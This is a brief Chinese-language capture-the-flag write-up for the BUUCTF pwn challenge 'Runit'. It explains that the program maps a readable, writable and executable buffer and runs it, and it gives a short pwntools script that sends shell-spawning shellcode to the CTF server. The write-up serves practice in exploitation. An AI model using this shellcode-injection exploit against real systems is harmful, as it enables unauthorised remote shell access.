[BUUCTF]PWN——[BSidesCF 2019]Runit（mmap+shellcode）

[BSidesCF 2019]Runit

1. 例行检查，32位程序，开启了nx保护
   
2. 运行一下看看大概的情况
   
3. ida载入
   
   虽然开了nx，但是buf用mmap映射了地址，可读可写可执行，直接传入shellcode，15行调用了buf，运行shellcode获取shell。

exp

from pwn import *

p=remote("node3.buuoj.cn",25055)

context.arch="i386"

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)

p.interactive()

好久没有做到这种水题了。